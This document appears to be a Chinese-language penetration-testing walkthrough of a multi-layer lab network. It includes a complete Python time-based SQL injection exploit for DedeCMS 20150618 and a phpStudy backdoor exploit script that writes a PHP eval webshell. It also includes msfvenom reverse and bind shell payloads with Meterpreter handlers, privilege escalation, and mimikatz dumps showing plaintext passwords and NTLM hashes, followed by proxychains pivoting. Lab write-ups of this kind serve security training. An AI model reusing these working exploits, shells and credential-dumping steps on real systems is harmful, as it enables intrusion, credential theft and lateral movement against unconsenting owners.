网络拓扑图

HOST绑定

配置DNS

kali Linux绑定host文件

vim /etc/hosts

存活扫描

netdiscover -i eth0 -r 192.168.10.0/24

端口扫描

masscan扫描端口

nmap探测端口信息

nmap -sC -A -p 49154,21,6588,135,80,3389,53,999,49155 192.168.10.134 -oA cc123-port

PORT      STATE SERVICE    VERSION
21/tcp    open  ftp        Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
53/tcp    open  domain     Microsoft DNS 6.1.7601 (1DB1446A) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB1446A)
80/tcp    open  http       Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
| http-methods: 
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc      Microsoft Windows RPC
999/tcp   open  http       Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: phpMyAdmin
| http-robots.txt: 1 disallowed entry 
|_/
3389/tcp  open  tcpwrapped
| ssl-cert: Subject: commonName=WIN-KALKEMT3JMA
| Not valid before: 2021-11-14T11:26:07
|_Not valid after:  2022-05-16T11:26:07
|_ssl-date: 2021-11-16T12:54:18+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: WIN-KALKEMT3JMA
|   NetBIOS_Domain_Name: WIN-KALKEMT3JMA
|   NetBIOS_Computer_Name: WIN-KALKEMT3JMA
|   DNS_Domain_Name: WIN-KALKEMT3JMA
|   DNS_Computer_Name: WIN-KALKEMT3JMA
|   Product_Version: 6.1.7601
|_  System_Time: 2021-11-16T12:54:04+00:00
6588/tcp  open  http       Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
| http-cookie-flags: 
|   /: 
|     ASPSESSIONIDCCRRSQRA: 
|_      httponly flag not set
|_http-title: \xBB\xA4\xCE\xC0\xC9\xF1\xA1\xA4\xD6\xF7\xBB\xFA\xB4\xF3\xCA\xA6 V3.5.1 - \xC7\xB0\xCC\xA8\xB5\xC7\xC2\xBC
| http-methods: 
|_  Potentially risky methods: TRACE
49154/tcp open  msrpc      Microsoft Windows RPC
49155/tcp open  msrpc      Microsoft Windows RPC
MAC Address: 00:0C:29:EE:B9:CD (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS details: Microsoft Windows Server 2008 or 2008 Beta 3, Microsoft Windows Server 2008 R2 or Windows 8.1, Microsoft Windows 7 Professional or Windows 8, Microsoft Windows Embedded Standard 7, Microsoft Windows 8.1 R1, Microsoft Windows Phone 7.5 or 8.0, Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7, Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008
Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2008:r2:sp1

TRACEROUTE
HOP RTT     ADDRESS
1   0.75 ms 192.168.10.134

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 73.39 seconds

端口的一些信息

子域名扫描

wfuzz -w /usr/share/amass/wordlists/subdomains-top1mil-110000.txt -u cc123.com -H "Host:FUZZ.cc123.com" --hw 53

通过拼接目录/data/admin/ver.txt发现dedecms的版本号为20150618

漏洞测试1

经过检测decms的会员是开放注册的http://new.cc123.com/member/

dedecms的20150618版本是存在注入的

使用下面这个脚本进行跑注入【此为python2】需填写cookie.txt文件

import sys,os
import urllib2
import time
opener = urllib2.build_opener()

def getCookes():
    line = open('cookies.txt','r')
    c = line.readline()
    line.close()
    return c

cookie=getCookes()
opener.addheaders.append(('Cookie',cookie))
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'

def exploite(target):
    password = ""
    for i in range(1,21):
        for p in payloads:
            s1 = "%s" %(i)
            s2 = "%s" %(ord(p))
            s = target+"/member/mtypes.php?dopost=save&_FILES[mtypename][name]=.xxxx&_FILES[mtypename][type]=xxxxx&_FILES[mtypename][tmp_name][a'%20and%20`'`.``.mtypeid%20or%20if(ascii(substr((select%20pwd%20from%20dede_admin%20limit%201),"+s1+",1))%3d"+s2+",sleep(4),0)%20and%20mtypeid%3d1%23]=w&_FILES[mtypename][size]=.xxxx"
            start_time = time.time()
            try:
                req = urllib2.Request(s)
                req_data=opener.open(req,timeout=20)
                now = time.strftime('%H:%M:%S',time.localtime(time.time()))
                if time.time() - start_time > 4.0:
                    password = password+p
                    print "["+str(now)+"]: "+s1+" -> "+password
            except urllib2.URLError,e:
                print e;
    return password






def myhelp():
    print "\n+------------------------------+"
    print "|  Dedecms 20150618 member sqli|"
    print "|  mOon  www.moonsec.com       |"
    print "|  MTEAM:moon@moonsec.com      |"
    print "+------------------------------+\n"

def main():
    if len(sys.argv)< 2:
        myhelp()
        sys.exit()
    now = time.strftime('%H:%M:%S',time.localtime(time.time()))
    print "["+str(now)+"] [INFO] Dedecms 20150618 member sqli.."
    print "password is %s" % (exploite(sys.argv[1]))

if __name__ == '__main__':
    main()

得出密码为812df726be884ddcfc41，进行解密admin7788

上传后门

通过目录扫描找到后台地址，成功登陆并上传一句话木马

蚁剑连接

使用蚁剑进行连接，发现是windows机器

上传大马

上传大马ASPXSpy2014.aspx文件到a目录下，密码admin，并访问

此时可以执行cmd命令了

MSF生成shellcode

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.176 lport=12345 -f exe >/var/www/html/s.exe

上传发现被拒绝，上传wt.asp扫描可写目录的脚本，进行扫描

上传shellcode文件到c:\windows\debug\WIA\目录

MSF设置监听

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
set payload windows/meterpreter/reverse_tcp
set payload windows/meterpreter/reverse_tcp_allports
set payload windows/meterpreter/reverse_tcp_dns
set payload windows/meterpreter/reverse_tcp_rc4
set payload windows/meterpreter/reverse_tcp_rc4_dns
set payload windows/meterpreter/reverse_tcp_uuid
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.10.176
lhost => 192.168.10.176
msf6 exploit(multi/handler) > set lport 12345

从大马中执行s.exe文件

本地查找提权

use post/multi/recon/local_exploit_suggester

set session 1

exploit

进行提权

use exploit/windows/local/ms16_075_reflection_juicy

漏洞测试2

目录扫描

访问ww2.cc123.com，发现大部分为伪静态页面，通过目录扫描，发现存在admin目录301跳转

验证码未效验

万能密码

可能此处效验为select *from admin,select *from passwd

所以此处可以直接用注释绕过进行登陆。

XSS存储型漏洞

http://ww2.cc123.com/message.aspx，此处存在XSS漏洞

测试后台SQL注入

在后台进行抓包

通过sqlmap进行测试

测试是否dba权限

使用命令--os-shell拿shell

发现此IP为10.10.1.128，这里是站库分离的站点。

程序跟数据库不在一个服务器，让服务器更加安全

使用命令查询一下当前数据库

sqlmap -r 1.txt --dbms mssql -v 1 --current-db

使用命令netstat -ano，查看外部连接的web程序

这里看到是站库分离，通过上面拿到的shell，进行本地提权，并查询这个站点的源码

打包源码

通过蚁剑，进入到目录C:\HwsHostMaster\wwwroot\ww2cc123_55m39g\web，并在站点发现是强制转换的伪静态

通过查看news.aspx源码，发现源码文件都在bin目录下，我们将bin目录下载到/var/www/html/bin目录下

download bin > /var/www/html/bin

将文件放到我们的Windows目录下，并使用工具，进行反编译

.net代码审计

登录代码如下

	protected void ImageButton1_Click(object sender, ImageClickEventArgs e)
	{
		if (!(base.Request.Cookies["CheckCode"].Value == this.safecode.Text.Trim().ToUpper()))
		{
			base.Response.Write("<script>alert('验证码输入错误！');javascript:history.back(-1);</script>");
			return;		# 验证码错误，返回上一层，没有注销验证码，验证码重用漏洞
		}
		string sql = string.Concat(new string[]
		{
			"select*from admin where username='",		# 获取到他的账号
			this.username.Text.Trim(),
			"' and password='",
			StringClass.Encrypt(this.password.Text.Trim(), "yx139222"),		# 字符串加密
			"'"
		});
		DataSet tableData = DBClass.GetTableData(sql, "admin");
		if (tableData != null && tableData.Tables["admin"].Rows.Count > 0)		# 这里是用户密码不为空会带入数据库
		{
			this.Session["users"] = this.username.Text.Trim();
			base.Response.Redirect("index.aspx");
			return;
		}
		base.Response.Write("<script>alert('姓名或密码输入错误！');javascript:history.back(-1);</script>");
	}
}

内网渗透

先查看路由信息

run get_local_subnets

转移进程

ps 查看进程，然后导入到system进程中

migrate 1508 这是vmtools的进程

导出处哈希和明文密码

hashdump

使用mimikatz，获取哈希和明文密码

使用help进行查看使用帮助

meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username       Domain           LM                           NTLM                         SHA1
--------       ------           --                           ----                         ----
Administrator  WIN-KALKEMT3JMA  32801fe143b57a06b5841299120  1c933df09b600efabee0791aacc  ef773c356ba88403c1eabc39ddfd
                                d114d                        c43f2                        5cf33fb9a8f6
MySQL_HWS      WIN-KALKEMT3JMA                               6a75a75e4cfd3cf00faf743e17e  ccde64b1b93163969d778388f08a
                                                             90a53                        131cea449f8d
newcc123       WIN-KALKEMT3JMA                               97824315153b4dd665d6c688f44  c993d52cb47bba40050187e3ab6e
                                                             6ebf1                        440b0cd479c3
ww2cc123       WIN-KALKEMT3JMA                               adadf2dd832421c26a96705fd09  668d0b28e247a09f73e017ebe00b
                                                             a32bd                        da79e3b9310d

wdigest credentials
===================

Username          Domain           Password
--------          ------           --------
(null)            (null)           (null)
Administrator     WIN-KALKEMT3JMA  !@#Qwe123.
MySQL_HWS         WIN-KALKEMT3JMA  5f 00 48 00 68 00 38 00 40 00 69 00 4f 00 77 00 40 00 40 00 54 00 73 00 37 00 59 00
                                    4b 00 71 00 64 00 57 00 4a 00 32 00 09 ff 57 00 4a 00 32 00 77 00 6d 00 54 00 61 0
                                   0 46 00 28 00
WIN-KALKEMT3JMA$  WORKGROUP        (null)
newcc123          WIN-KALKEMT3JMA  ZtKGmDj0qEbDECSBl5p
ww2cc123          WIN-KALKEMT3JMA  xwSggtdWvl42JGHivMX

tspkg credentials
=================

Username       Domain           Password
--------       ------           --------
Administrator  WIN-KALKEMT3JMA  !@#Qwe123.
MySQL_HWS      WIN-KALKEMT3JMA  5f 00 48 00 68 00 38 00 40 00 69 00 4f 00 77 00 40 00 40 00 54 00 73 00 37 00 59 00 4b
                                 00 71 00 64 00 57 00 4a 00 32 00 09 ff 57 00 4a 00 32 00 77 00 6d 00 54 00 61 00 46 0
                                0 28 00
newcc123       WIN-KALKEMT3JMA  ZtKGmDj0qEbDECSBl5p
ww2cc123       WIN-KALKEMT3JMA  xwSggtdWvl42JGHivMX

kerberos credentials
====================

Username          Domain           Password
--------          ------           --------
(null)            (null)           (null)
Administrator     WIN-KALKEMT3JMA  !@#Qwe123.
MySQL_HWS         WIN-KALKEMT3JMA  5f 00 48 00 68 00 38 00 40 00 69 00 4f 00 77 00 40 00 40 00 54 00 73 00 37 00 59 00
                                    4b 00 71 00 64 00 57 00 4a 00 32 00 09 ff 57 00 4a 00 32 00 77 00 6d 00 54 00 61 0
                                   0 46 00 28 00
newcc123          IIS APPPOOL      (null)
newcc123          WIN-KALKEMT3JMA  ZtKGmDj0qEbDECSBl5p
win-kalkemt3jma$  WORKGROUP        (null)
ww2cc123          WIN-KALKEMT3JMA  xwSggtdWvl42JGHivMX

第二层网段渗透数据库服务器

查看本地IP地址

发现存在10.10.10.0/24段的地址

添加路由

run autoroute -s 10.10.10.1/24

开启代理

要修改/etc/proxychains4.conf配置文件，添加socks5代理

默认1080，直接使用就行

扫描数据库服务端口

proxychains nmap -sT -Pn 10.10.10.136

也可以使用msf模块portscan进行端口扫描，这个扫描比较快

添加一下IP

set RHOSTS 10.10.10.136

通过端口扫描及服务，发现10.10.10.136为ww2.cc123.com的数据库，站库分离的站点，存在SQL注入

上面已经拿到了new.cc123.com的system权限，我们可以直接去读取源码中的数据库连接密码

我们使用new.cc123.com中的大马进行连接数据库

server=WIN-JJU7KU45PN7;database=grcms_data;uid=sa;pwd=!@#a123..

使用数据库查看当前的权限

为system的权限，我们可以在这里上传一个后门，此时使用正向木马即可

植入后门到数据库服务器

由于模板环境不出网，而kali不可达，使用正向连接，添加路由后，绑定socks，设置本地代理

生成正向shellcode

msfvenom -p windows/meterpreter/bind_tcp LPORT=13777 -f exe >bind.exe

设置监听

use exploit/multi/handler

set payload windows/meterpreter/bind_tcp

set RHOST 10.10.10.136

set lport 13777

run

上传我们的正向木马

成功接到数据库服务器的正向连接

获取数据库服务器的信息

转移进程

ps
migrate 1548			# 转移到vmtools进程

获取哈希

meterpreter > hashdump 
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.                                        
meterpreter > run hashdump 
                                                                                                                     
[!] Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdump.                                      
[!] Example: run post/windows/gather/smart_hashdump OPTION=value [...]                                               
[*] Obtaining the boot key...                                                                                        
[*] Calculating the hboot key using SYSKEY 80efd2012ab381e9c0339c98850a5ef8...                                       
[*] Obtaining the user list and keys...                                                                              
[*] Decrypting user keys...
[*] Dumping password hints...

No users with password hints on this system

[*] Dumping password hashes...


Administrator:500:aad3b435b51404eeaad3b435b51404ee:15132c3d36a7e5d7905e02b478979046:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

加载mimikatz

load mimikatz
获取所有明文密码
meterpreter > creds_all 
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username       Domain           LM                          NTLM                        SHA1
--------       ------           --                          ----                        ----
Administrator  WIN-JJU7KU45PN7  52c94b5c2324f528aabc8174fe  15132c3d36a7e5d7905e02b478  124598913a74529077fbbe1dcdf
                                6c9cb3                      979046                      268e2c1c50364

wdigest credentials
===================

Username          Domain           Password
--------          ------           --------
(null)            (null)           (null)
Administrator     WIN-JJU7KU45PN7  !@#QWEasd123.
WIN-JJU7KU45PN7$  WORKGROUP        (null)

tspkg credentials
=================

Username       Domain           Password
--------       ------           --------
Administrator  WIN-JJU7KU45PN7  !@#QWEasd123.

kerberos credentials
====================

Username          Domain           Password
--------          ------           --------
(null)            (null)           (null)
Administrator     WIN-JJU7KU45PN7  !@#QWEasd123.
win-jju7ku45pn7$  WORKGROUP        (null)

查看路由

run get_local_subnets

添加路由

run autoroute -s 10.10.1.1/24

第三层网段渗透目标服务器

对IP进行端口扫描，发现80端口开放

扫描常用端口

访问这个目标服务器的80端口

可以看到，这是一个phpstudy，这个是有后门的

PHPstudy 2014 2016 2018都存在后门

编写后门利用工具

#conding:utf-8

import requests
import sys
import base64

shell = "system('"+sys.argv[1]+"');"
shell_base64 = base64.b64encode(shell.encode('utf-8'))

header={'Accept-charset':shell_base64,'Accept-Encoding':'gzip,deflate'}

def exploit(url):
    html = requests.get(url=url,headers=header).text
    return html

url = "http://10.10.1.129/"
print(exploit(url))

使用后门工具写一句话马

python phpstudy.py "echo ^<?php eval(@$_POST[\"shell\"])?^>>c:\phpstudy\WWW\shell.php"

我这里是挂了代理，如果在kali中需要添加proxychinas 命令

写入之后，连接蚁剑

同时蚁剑也要设置代理

此时权限是system的权限，我们就可以在此处上传msf的正向连接后门

获取目标机器的session

msf生成正向shellcode

msfvenom -p windows/meterpreter/bind_tcp lport=14777 -f exe >bind.exe

use exploit/multi/handler

set payload windows/meterpreter/bind_tcp

set RHOST 10.10.1.129

set RPORT 14777

run